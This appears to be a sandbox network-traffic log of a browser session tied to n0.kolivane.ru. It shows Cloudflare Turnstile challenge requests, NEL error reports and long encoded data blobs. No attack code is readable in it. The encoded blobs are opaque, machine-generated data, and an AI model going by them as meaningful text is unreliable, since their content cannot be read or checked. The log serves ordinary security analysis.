Ep0RU1WfTOCbWJRbl5EcWd8W01KXId/SXuNYIeTknhQVZd1ZmeXiV9hoIGYXXuRo4t2rGuQqKGAkIGfhX+RrpuxdLmIr4idvrWOs5R9gJqqypyVtqaMub2NnpHHws7Po6mUvNa9yMLc4dzjz+XhoMHs5sXLv8DDysDC8/W0zc3M6czLyvHOzvPt1tP1AtLV+N/W2Qrj2t0N597hEOvi5RPv5ukV8+rtGPfu8d/78vXiAPb55e4i/SsnByr0DwsF
2024-12-30 07:07:11 UTC	1369	IN	Data Raw: 74 65 64 56 74 59 51 45 59 36 57 45 5a 4b 65 58 35 2b 52 6d 46 75 65 6d 35 2f 63 4a 56 54 62 70 6c 6d 69 6c 64 76 69 57 39 79 6a 6d 4a 68 62 58 65 6a 6f 59 65 69 6b 70 56 6f 6e 71 43 59 70 4b 61 74 63 62 52 77 71 61 2b 79 6f 58 65 62 69 71 79 72 65 6f 68 38 6b 34 31 38 6d 4d 53 45 6e 70 32 55 76 49 69 67 6e 4c 75 35 77 63 53 6d 78 4d 6d 32 70 74 6e 46 73 6f 32 75 74 4e 69 64 72 72 71 33 73 72 33 6a 76 64 43 68 33 2b 47 71 35 61 7a 58 71 73 76 63 35 74 76 4d 72 62 47 32 36 38 48 44 77 2b 62 73 7a 50 79 2f 37 51 47 36 42 75 45 46 76 67 72 6e 32 51 6f 48 78 38 6b 44 35 64 73 4a 36 64 37 66 7a 73 6b 57 31 64 48 75 39 76 55 59 48 68 73 50 38 78 6f 47 34 51 38 65 45 69 6b 68 4c 43 49 64 47 51 4d 6c 41 79 66 78 43 51 45 54 38 44 72 34 37 42 4d 59 4c 7a 4d 59 44 Data Ascii: tedVtYQEY6WEZKeX5+RmFuem5/cJVTbplmildviW9yjmJhbXejoYeikpVonqCYpKatcbRwqa+yoXebiqyreoh8k418mMSEnp2UvIignLu5wcSmxMm2ptnFso2utNidrrq3sr3jvdCh3+Gq5azXqsvc5tvMrbG268HDw+bszPy/7QG6BuEFvgrn2QoHx8kD5dsJ6d7fzskW1dHu9vUYHhsP8xoG4Q8eEikhLCIdGQMlAyfxCQET8Dr47BMYLzMYD
2024-12-30 07:07:11 UTC	1369	IN	Data Raw: 41 55 34 74 42 59 34 78 46 59 6e 31 4c 55 56 47 55 56 49 35 2f 67 57 6c 51 6a 31 56 70 57 49 43 56 69 6e 69 50 65 33 5a 2b 62 34 42 34 65 6f 53 6c 59 33 32 70 68 59 56 71 68 34 6d 4a 62 71 5a 33 6a 4a 53 52 6e 5a 69 57 74 34 75 76 73 4c 36 78 76 6e 69 79 6b 6f 43 38 6e 59 75 67 6e 63 2b 34 6e 37 36 78 7a 4b 4f 56 76 36 7a 51 6c 62 71 6d 6d 63 37 41 33 4f 4b 71 6d 37 6e 66 6e 4c 37 5a 6f 4b 57 6e 33 72 62 72 30 4b 65 38 71 63 62 6b 7a 66 48 31 74 37 66 4d 36 2b 62 4d 36 76 32 34 2b 62 51 41 76 75 54 57 38 73 4c 34 78 76 7a 55 39 2b 55 4d 34 42 44 38 37 76 41 53 34 75 49 50 42 64 44 76 35 4e 7a 6d 46 64 7a 36 48 43 45 4f 49 68 55 6a 46 69 63 72 2f 66 77 48 41 67 66 76 43 67 6a 38 2f 4f 30 73 4a 2f 45 35 4e 78 7a 31 4f 6b 41 62 38 76 63 36 50 43 51 5a 44 78 Data Ascii: AU4tBY4xFYn1LUVGUVI5/gWlQj1VpWICViniPe3Z+b4B4eoSlY32phYVqh4mJbqZ3jJSRnZiWt4uvsL6xvniykoC8nYugnc+4n76xzKOVv6zQlbqmmc7A3OKqm7nfnL7ZoKWn3rbr0Ke8qcbkzfH1t7fM6+bM6v24+bQAvuTW8sL4xvzU9+UM4BD87vAS4uIPBdDv5NzmFdz6HCEOIhUjFicr/fwHAgfvCgj8/O0sJ/E5Nxz1OkAb8vc6PCQZDx
2024-12-30 07:07:11 UTC	1369	IN	Data Raw: 67 32 42 62 62 34 47 53 69 32 42 6d 5a 49 71 53 65 4a 78 6e 66 4a 52 78 6d 6c 78 56 6b 4a 75 50 5a 56 35 30 6f 6c 32 59 6c 71 5a 34 67 4c 46 2b 6f 32 5a 72 70 58 4f 4e 62 37 4b 6e 75 62 35 2b 6b 4c 36 33 66 4b 43 61 78 63 43 76 6e 5a 32 63 69 37 64 2f 67 4d 65 48 6b 61 71 6c 79 70 2b 6d 78 49 72 43 32 71 54 49 6d 4e 36 58 71 74 50 56 75 62 65 7a 70 64 32 30 74 72 33 48 77 72 7a 6d 72 73 4b 2f 36 4f 32 2b 77 65 76 4c 77 73 57 7a 7a 38 62 4a 74 74 50 4b 7a 62 6e 43 39 64 48 2b 2b 74 72 39 79 4f 4c 65 32 41 58 72 38 4f 54 63 45 75 2f 65 7a 77 58 6e 2b 66 76 6e 39 52 63 56 32 78 4d 43 45 78 6b 53 38 4e 37 64 41 41 41 44 46 66 73 48 36 53 38 6c 43 78 45 4e 41 52 41 6b 4c 69 49 4e 47 54 4d 6d 47 44 49 34 4b 52 42 44 4f 69 34 68 4d 53 6b 59 49 2f 77 48 4a 42 30 Data Ascii: g2Bbb4GSi2BmZIqSeJxnfJRxmlxVkJuPZV50ol2YlqZ4gLF+o2ZrpXONb7Knub5+kL63fKCaxcCvnZ2ci7d/gMeHkaqlyp+mxIrC2qTImN6XqtPVubezpd20tr3HwrzmrsK/6O2+wevLwsWzz8bJttPKzbnC9dH++tr9yOLe2AXr8OTcEu/ezwXn+fvn9RcV2xMCExkS8N7dAAADFfsH6S8lCxENARAkLiINGTMmGDI4KRBDOi4hMSkYI/wHJB0
2024-12-30 07:07:11 UTC	1369	IN	Data Raw: 6e 52 4f 62 70 71 44 6a 48 79 4e 64 6d 74 66 62 48 78 66 66 31 65 53 6c 33 42 6d 6f 6e 57 66 72 48 36 4b 67 72 47 68 71 71 79 65 6f 72 43 68 69 32 78 79 6a 35 4b 78 6e 6e 71 78 73 34 4b 61 6c 72 69 69 74 34 43 79 6b 36 4f 6e 76 4d 6a 52 71 39 48 41 73 38 6a 45 72 4c 61 69 31 4d 33 55 6d 74 66 41 79 39 44 58 79 37 4c 59 33 2b 66 6a 35 36 47 2f 75 61 75 36 70 73 58 52 33 38 54 6b 76 62 54 4d 2b 64 62 49 30 4e 62 7a 38 74 6e 4f 31 37 72 38 77 66 58 52 34 39 54 63 31 74 59 41 78 66 62 6e 33 2b 6b 42 35 74 4c 76 46 67 58 33 44 51 6e 77 2b 75 59 5a 45 68 6e 65 48 41 55 51 46 52 77 51 39 68 33 36 2b 2b 6e 34 2b 66 30 6f 2b 69 49 64 42 41 41 6d 4d 44 49 43 4b 67 34 49 42 69 34 52 51 67 6f 79 47 54 59 4f 4e 68 30 6b 45 6a 6f 68 4a 42 35 4f 49 6b 67 73 53 6c 42 57 Data Ascii: nRObpqDjHyNdmtfbHxff1eSl3BmonWfrH6KgrGhqqyeorChi2xyj5Kxnnqxs4Kalriit4Cyk6OnvMjRq9HAs8jErLai1M3UmtfAy9DXy7LY3+fj56G/uau6psXR38TkvbTM+dbI0Nbz8tnO17r8wfXR49Tc1tYAxfbn3+kB5tLvFgX3DQnw+uYZEhneHAUQFRwQ9h36++n4+f0o+iIdBAAmMDICKg4IBi4RQgoyGTYONh0kEjohJB5OIkgsSlBW

Timestamp	Bytes transferred	Direction	Data
2024-12-30 07:07:12 UTC	531	OUT	OPTIONS /report/v4?s=JqB3F5EOlEPxCdIStf0UyImEbIAWi6hPoBlM5xwmpLi3ENnno6TtTC5tdDleX29MbhmykbAVBcvAaKXG%2FELQNVkaJhG%2FnsW3oBQiJZ9cxSJKLhOAFI4Zljw4FawrrA%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://n0.kolivane.ru Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-30 07:07:12 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-length, content-type date: Mon, 30 Dec 2024 07:07:11 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Timestamp	Bytes transferred	Direction	Data
2024-12-30 07:07:12 UTC	598	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/331006800:1735539205:PsA15hNH3gEP9lrfrYNXY01wbtfIJRXkUPb-l6YIT3U/8fa030fc5af14414/Iswu3frafbm9dPBeeQm7EKc.59E_J1rgB_HX7L1BdLw-1735542430-1.1.1.1-EfnkcgitkmNBzy_Mapk_DGq7cSKCZGygmWO9GGyq1puyBD9ACGzuYk_n7w43A7UJ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-30 07:07:12 UTC	379	IN	HTTP/1.1 404 Not Found Date: Mon, 30 Dec 2024 07:07:12 GMT Content-Type: application/json Content-Length: 7 Connection: close cf-chl-out: MgQNr3gEXZcOE2eDQd0CP4g9NAORFglJvEU=$xxoyDBCl4vq1SfrX cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8fa0310bf9e40f51-EWR alt-svc: h3=":443"; ma=86400
2024-12-30 07:07:12 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Timestamp	Bytes transferred	Direction	Data
2024-12-30 07:07:12 UTC	811	OUT	GET /cdn-cgi/challenge-platform/h/b/pat/8fa030fc5af14414/1735542431706/029b2b57aabe7f9353881938530680a2aea7f4fe05c3095a364d0d8bd9ca313a/VXySNR7memHRoib HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/8qssp/0x4AAAAAAA1viUI4UDuMAibc/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-30 07:07:12 UTC	143	IN	HTTP/1.1 401 Unauthorized Date: Mon, 30 Dec 2024 07:07:12 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 1 Connection: close
2024-12-30 07:07:12 UTC	2015	IN	Data Raw: 77 77 77 2d 61 75 74 68 65 6e 74 69 63 61 74 65 3a 20 50 72 69 76 61 74 65 54 6f 6b 65 6e 20 63 68 61 6c 6c 65 6e 67 65 3d 22 41 41 49 41 47 58 42 68 64 43 31 70 63 33 4e 31 5a 58 49 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 67 41 70 73 72 56 36 71 2d 66 35 4e 54 69 42 6b 34 55 77 61 41 6f 71 36 6e 39 50 34 46 77 77 6c 61 4e 6b 30 4e 69 39 6e 4b 4d 54 6f 41 47 57 4e 6f 59 57 78 73 5a 57 35 6e 5a 58 4d 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 3d 22 2c 20 74 6f 6b 65 6e 2d 6b 65 79 3d 22 4d 49 49 42 55 6a 41 39 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 6f 77 4d 4b 41 4e 4d 41 73 47 43 57 43 47 53 41 46 6c 41 77 51 43 41 71 45 61 4d 42 67 47 43 53 71 47 53 49 62 33 44 51 45 42 43 44 41 4c 42 67 6c 67 68 6b 67 42 5a 51 4d Data Ascii: www-authenticate: PrivateToken challenge="AAIAGXBhdC1pc3N1ZXIuY2xvdWRmbGFyZS5jb20gApsrV6q-f5NTiBk4UwaAoq6n9P4FwwlaNk0Ni9nKMToAGWNoYWxsZW5nZXMuY2xvdWRmbGFyZS5jb20=", token-key="MIIBUjA9BgkqhkiG9w0BAQowMKANMAsGCWCGSAFlAwQCAqEaMBgGCSqGSIb3DQEBCDALBglghkgBZQM
2024-12-30 07:07:12 UTC	1	IN	Data Raw: 4a Data Ascii: J

Timestamp	Bytes transferred	Direction	Data
2024-12-30 07:07:12 UTC	474	OUT	POST /report/v4?s=JqB3F5EOlEPxCdIStf0UyImEbIAWi6hPoBlM5xwmpLi3ENnno6TtTC5tdDleX29MbhmykbAVBcvAaKXG%2FELQNVkaJhG%2FnsW3oBQiJZ9cxSJKLhOAFI4Zljw4FawrrA%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 427 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-30 07:07:12 UTC	427	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 36 38 37 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 6e 30 2e 6b 6f 6c 69 76 61 6e 65 2e 72 75 2f 64 61 34 73 63 6d 51 2f 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 37 32 2e 36 37 2e 31 34 33 2e 31 33 37 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 Data Ascii: [{"age":0,"body":{"elapsed_time":687,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://n0.kolivane.ru/da4scmQ/","sampling_fraction":1.0,"server_ip":"172.67.143.137","status_code":404,"type":"http.error"},"type":"network-error"
2024-12-30 07:07:12 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Mon, 30 Dec 2024 07:07:12 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Timestamp	Bytes transferred	Direction	Data
2024-12-30 07:07:13 UTC	782	OUT	GET /cdn-cgi/challenge-platform/h/b/i/8fa030fc5af14414/1735542431708/1_huuTo_VzN7_Gf HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/8qssp/0x4AAAAAAA1viUI4UDuMAibc/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-30 07:07:13 UTC	200	IN	HTTP/1.1 200 OK Date: Mon, 30 Dec 2024 07:07:13 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 8fa03113ee10c341-EWR alt-svc: h3=":443"; ma=86400
2024-12-30 07:07:13 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 06 00 00 00 19 08 02 00 00 00 9d 2e c8 51 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR.QIDAT$IENDB`

Timestamp	Bytes transferred	Direction	Data
2024-12-30 07:07:14 UTC	428	OUT	GET /cdn-cgi/challenge-platform/h/b/i/8fa030fc5af14414/1735542431708/1_huuTo_VzN7_Gf HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-30 07:07:14 UTC	200	IN	HTTP/1.1 200 OK Date: Mon, 30 Dec 2024 07:07:14 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 8fa031177fadf797-EWR alt-svc: h3=":443"; ma=86400
2024-12-30 07:07:14 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 06 00 00 00 19 08 02 00 00 00 9d 2e c8 51 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR.QIDAT$IENDB`

Timestamp	Bytes transferred	Direction	Data
2024-12-30 07:07:15 UTC	1171	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/331006800:1735539205:PsA15hNH3gEP9lrfrYNXY01wbtfIJRXkUPb-l6YIT3U/8fa030fc5af14414/Iswu3frafbm9dPBeeQm7EKc.59E_J1rgB_HX7L1BdLw-1735542430-1.1.1.1-EfnkcgitkmNBzy_Mapk_DGq7cSKCZGygmWO9GGyq1puyBD9ACGzuYk_n7w43A7UJ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 32010 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: Iswu3frafbm9dPBeeQm7EKc.59E_J1rgB_HX7L1BdLw-1735542430-1.1.1.1-EfnkcgitkmNBzy_Mapk_DGq7cSKCZGygmWO9GGyq1puyBD9ACGzuYk_n7w43A7UJ sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/8qssp/0x4AAAAAAA1viUI4UDuMAibc/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-30 07:07:15 UTC	16384	OUT	Data Raw: 76 5f 38 66 61 30 33 30 66 63 35 61 66 31 34 34 31 34 3d 42 36 5a 69 65 56 6e 34 73 53 36 6e 73 78 34 6e 63 76 4a 76 67 78 6a 6e 71 76 62 69 52 4d 53 73 48 76 31 76 6e 4d 6e 6a 6e 43 76 51 69 54 4f 4f 33 46 6e 25 32 62 45 74 69 62 4d 78 36 4d 76 4e 6a 76 59 4d 6e 53 76 34 4d 4d 74 5a 5a 76 44 36 6e 62 44 65 68 76 76 68 76 56 6b 76 52 76 5a 6b 76 38 76 59 30 6b 4c 45 76 51 5a 76 33 76 37 5a 76 58 46 53 51 51 78 66 4d 69 45 46 4f 44 68 46 76 53 57 66 79 69 43 52 5a 31 45 39 6a 76 76 6b 73 76 42 73 69 46 78 5a 76 2d 69 51 58 76 56 36 76 78 2b 5a 76 49 72 53 6d 7a 65 69 76 77 2b 53 46 45 61 53 44 30 4d 76 50 7a 2b 54 6d 39 57 78 30 62 76 51 53 59 44 4d 73 46 54 6e 30 76 76 77 72 36 52 44 55 33 76 6e 58 37 7a 68 50 68 4a 68 49 78 52 52 48 2d 4d 6f 50 4a 46 71 Data Ascii: v_8fa030fc5af14414=B6ZieVn4sS6nsx4ncvJvgxjnqvbiRMSsHv1vnMnjnCvQiTOO3Fn%2bEtibMx6MvNjvYMnSv4MMtZZvD6nbDehvvhvVkvRvZkv8vY0kLEvQZv3v7ZvXFSQQxfMiEFODhFvSWfyiCRZ1E9jvvksvBsiFxZv-iQXvV6vx+ZvIrSmzeivw+SFEaSD0MvPz+Tm9Wx0bvQSYDMsFTn0vvwr6RDU3vnX7zhPhJhIxRRH-MoPJFq
2024-12-30 07:07:15 UTC	15626	OUT	Data Raw: 55 4d 31 6e 4b 6b 4e 6b 54 55 70 5a 51 55 76 45 55 34 69 6d 36 54 4c 46 73 79 4f 76 2b 64 78 64 30 2d 76 73 76 63 76 6a 4d 6e 7a 76 4a 55 53 55 76 34 76 42 69 51 55 73 50 76 54 5a 54 5a 6e 54 36 2d 68 78 6b 6e 46 76 5a 55 78 32 6e 53 76 53 59 56 36 6e 2b 46 6b 4d 78 6a 6e 45 76 4e 4d 54 31 69 49 76 42 4d 56 39 76 2d 76 47 69 54 39 6e 65 76 57 39 51 4d 76 62 76 4e 55 51 48 76 54 76 57 55 56 30 4f 34 69 63 59 50 4f 76 68 76 6a 76 53 5a 76 48 5a 45 76 56 34 76 61 4f 62 4d 6a 50 4d 6e 76 6a 55 51 76 76 63 69 45 76 56 55 69 7a 73 34 41 6e 4e 6e 61 76 78 73 51 4d 76 56 55 54 69 45 58 76 4b 76 75 65 74 4e 76 48 5a 42 76 6e 6a 51 31 76 68 4d 56 34 6e 57 76 2b 69 46 34 6e 50 69 46 30 76 37 6e 61 76 44 4d 42 46 76 56 55 78 73 53 4f 55 55 76 7a 73 6a 7a 56 35 76 6b Data Ascii: UM1nKkNkTUpZQUvEU4im6TLFsyOv+dxd0-vsvcvjMnzvJUSUv4vBiQUsPvTZTZnT6-hxknFvZUx2nSvSYV6n+FkMxjnEvNMT1iIvBMV9v-vGiT9nevW9QMvbvNUQHvTvWUV0O4icYPOvhvjvSZvHZEvV4vaObMjPMnvjUQvvciEvVUizs4AnNnavxsQMvVUTiEXvKvuetNvHZBvnjQ1vhMV4nWv+iF4nPiF0v7navDMBFvVUxsSOUUvzsjzV5vk
2024-12-30 07:07:15 UTC	330	IN	HTTP/1.1 200 OK Date: Mon, 30 Dec 2024 07:07:15 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 26300 Connection: close cf-chl-gen: FT5HT4k5th4ezLBE6tBMQhrT2F9sl/isFKCd4ibGdMDNOY2InRYSVajMLj7ABCsO9U4qrNLzdsPHH64Z$iOuGzWWeWo8pDLb+ Server: cloudflare CF-RAY: 8fa0311c5f714319-EWR alt-svc: h3=":443"; ma=86400
2024-12-30 07:07:15 UTC	1039	IN	Data Raw: 6b 71 4f 4e 64 62 71 4b 6a 4b 6d 66 74 59 79 6c 6e 61 43 45 79 63 4f 64 70 38 57 6f 68 71 66 4a 72 49 72 4b 77 4b 65 4f 30 71 4b 79 79 73 6e 55 73 4b 6a 48 6e 70 72 64 35 4c 48 6a 75 74 4f 66 33 39 4c 46 32 73 58 67 32 72 76 4e 7a 75 61 39 7a 38 50 48 74 38 37 46 30 37 71 32 30 2b 7a 71 41 64 4c 68 2f 75 47 2b 34 50 49 46 33 66 63 4e 42 2f 67 51 37 67 58 6a 45 63 76 69 46 64 2f 76 36 51 6b 61 2b 65 72 6e 48 50 63 55 33 51 55 67 48 50 59 6d 43 66 62 7a 2f 42 34 59 44 51 4c 36 48 78 49 6e 4e 43 48 76 42 53 6b 72 42 44 49 5a 44 54 4d 68 41 54 54 37 46 54 51 39 50 52 49 58 42 50 77 55 52 78 77 4b 54 6a 73 74 4c 31 51 68 49 55 31 41 4c 44 45 6d 46 78 51 79 57 52 5a 4a 47 69 4d 2f 51 68 39 66 4f 31 55 6b 56 55 4a 6e 54 54 63 6e 52 48 46 44 4c 30 4d 2b 55 6d 35 Data Ascii: kqONdbqKjKmftYylnaCEycOdp8WohqfJrIrKwKeO0qKyysnUsKjHnprd5LHjutOf39LF2sXg2rvNzua9z8PHt87F07q20+zqAdLh/uG+4PIF3fcNB/gQ7gXjEcviFd/v6Qka+ernHPcU3QUgHPYmCfbz/B4YDQL6HxInNCHvBSkrBDIZDTMhATT7FTQ9PRIXBPwURxwKTjstL1QhIU1ALDEmFxQyWRZJGiM/Qh9fO1UkVUJnTTcnRHFDL0M+Um5
2024-12-30 07:07:15 UTC	1369	IN	Data Raw: 59 79 63 4f 70 6d 38 72 48 78 35 69 49 6e 73 71 46 30 49 2b 31 70 38 4f 54 79 5a 66 4b 71 72 65 71 71 4c 47 77 73 39 61 7a 73 39 7a 53 75 37 69 6b 35 72 65 36 70 38 53 37 76 71 71 7a 35 73 4c 76 36 38 76 75 75 64 50 50 79 66 58 63 34 64 4c 54 34 72 79 2b 32 63 61 37 33 51 44 74 78 2f 6b 43 2f 42 50 69 79 78 4c 67 45 63 37 75 31 74 50 4e 47 74 7a 30 35 2f 6f 58 31 42 41 6c 47 68 73 57 48 50 6b 43 38 2f 51 48 43 77 67 52 45 51 30 30 4c 78 34 74 46 44 45 6a 4e 66 6f 7a 46 43 34 5a 4c 7a 56 42 44 78 49 66 46 2f 30 6c 50 53 73 62 47 6b 30 4b 4c 78 73 65 45 42 4a 4d 4a 43 38 75 4f 68 4d 56 57 6a 6c 55 4f 30 30 76 4e 30 4e 68 4f 7a 68 57 48 6c 70 71 49 55 77 70 56 6d 74 6e 58 55 52 4f 62 53 38 76 61 45 4a 48 54 55 52 63 4f 57 5a 33 65 31 42 65 66 56 70 51 62 32 Data Ascii: YycOpm8rHx5iInsqF0I+1p8OTyZfKqreqqLGws9azs9zSu7ik5re6p8S7vqqz5sLv68vuudPPyfXc4dLT4ry+2ca73QDtx/kC/BPiyxLgEc7u1tPNGtz05/oX1BAlGhsWHPkC8/QHCwgREQ00Lx4tFDEjNfozFC4ZLzVBDxIfF/0lPSsbGk0KLxseEBJMJC8uOhMVWjlUO00vN0NhOzhWHlpqIUwpVmtnXURObS8vaEJHTURcOWZ3e1BefVpQb2
2024-12-30 07:07:15 UTC	1369	IN	Data Raw: 7a 38 79 4f 6d 63 43 4a 72 34 36 56 74 38 57 7a 31 4e 4b 4f 72 37 6e 59 6f 4a 72 54 72 62 50 65 73 4c 50 5a 75 63 54 41 71 74 6e 66 33 36 76 65 72 63 4b 76 78 4f 2f 6e 74 4e 50 73 7a 63 75 30 79 64 76 76 34 64 63 41 7a 77 45 48 31 76 66 55 39 2f 72 67 77 77 73 41 43 4f 45 52 33 64 50 68 7a 39 62 76 35 50 4c 58 31 51 6a 31 39 68 6a 31 33 76 48 38 42 53 66 6d 4a 50 77 65 39 41 62 36 4a 53 49 79 4a 42 51 67 49 67 6b 33 37 6a 59 74 4d 69 63 62 43 77 76 36 48 6b 49 65 47 68 34 35 52 67 64 47 48 53 56 4b 4b 51 59 36 4f 43 6b 76 52 6a 51 72 49 30 46 4b 57 6b 77 38 52 55 6f 78 58 78 64 64 47 6a 41 77 50 6a 4e 53 4e 44 6f 2b 4a 7a 70 46 61 32 64 4c 62 56 78 79 52 6d 68 52 5a 46 42 73 62 58 4a 6e 5a 6d 70 35 66 46 4d 2f 55 56 4e 63 57 55 65 44 66 46 69 48 54 49 69 Data Ascii: z8yOmcCJr46Vt8Wz1NKOr7nYoJrTrbPesLPZucTAqtnf36vercKvxO/ntNPszcu0ydvv4dcAzwEH1vfU9/rgwwsACOER3dPhz9bv5PLX1Qj19hj13vH8BSfmJPwe9Ab6JSIyJBQgIgk37jYtMicbCwv6HkIeGh45RgdGHSVKKQY6OCkvRjQrI0FKWkw8RUoxXxddGjAwPjNSNDo+JzpFa2dLbVxyRmhRZFBsbXJnZmp5fFM/UVNcWUeDfFiHTIi
2024-12-30 07:07:15 UTC	1369	IN	Data Raw: 73 2b 2b 7a 4e 54 43 6d 4c 72 63 31 35 6d 5a 73 65 47 65 6e 63 79 7a 70 4b 47 6f 31 61 69 6c 72 4f 6d 73 71 62 43 37 73 4b 57 77 76 2b 53 79 75 4f 62 55 73 76 62 63 74 72 33 58 79 73 47 36 32 77 45 41 34 4d 48 64 77 4e 58 47 42 67 37 34 37 64 33 45 42 41 2f 39 38 4e 4d 57 41 77 76 54 45 78 66 73 48 66 51 54 47 78 51 61 46 75 37 32 2f 69 66 63 35 42 67 4d 4b 52 67 49 37 43 73 63 4a 67 59 49 39 77 59 78 4b 66 4d 65 2b 77 6f 78 50 41 45 69 2b 66 35 42 4a 30 49 6e 51 54 4d 47 44 45 6f 62 50 44 49 4d 4f 30 52 44 50 79 34 56 47 45 38 70 46 55 5a 50 54 56 55 66 4d 31 63 2b 56 53 38 7a 53 44 45 36 4f 54 74 66 50 44 77 70 57 30 52 42 4c 47 39 41 51 79 38 34 61 30 64 30 63 46 42 7a 50 6c 68 55 